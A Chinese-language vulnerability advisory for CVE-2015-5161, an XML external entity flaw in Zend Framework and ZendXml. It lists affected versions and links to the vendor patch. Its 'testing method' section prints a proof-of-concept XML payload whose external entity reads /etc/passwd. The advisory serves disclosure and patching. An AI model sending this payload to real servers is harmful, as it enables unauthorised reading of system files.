多个Zend产品XML外部实体注入漏洞(CVE-2015-5161)

多个Zend产品XML外部实体注入漏洞(CVE-2015-5161)

多个Zend产品XML外部实体注入漏洞(CVE-2015-5161)

发布日期：2015-08-03
更新日期：2015-08-26

受影响系统：

Zend Zend Framework < 2.5.2
Zend Zend Framework < 2.4.6
Zend Zend Framework < 1.12.14
Zend ZendXml < 1.0.1

描述：

---

BUGTRAQ  ID: 76177
CVE(CAN) ID: CVE-2015-5161

Zend Framework (ZF) 是一个开放源代码的 PHP5 开发框架，可用于来开发 web 程序和服务。

ZendXml及Zend Framework某些版本的Zend_Xml_Security::scan，当在线程环境中的PHP-FPM下运行时，会使远程攻击者通过多字节编码的字符，利用此漏洞绕过安全检查、执行XXE及XEE攻击。

<*来源：Dawid Golunski
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE methodCall [
  <!ENTITY pocdata SYSTEM "file:///etc/passwd">
]>
< methodCall>
  <methodName>retrieved: &pocdata;</methodName>
< /methodCall>

建议：

---

厂商补丁：

Zend
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://framework.zend.com/security/advisory/ZF2015-06

https://www.exploit-db.com/exploits/37765/

本文永久更新链接地址：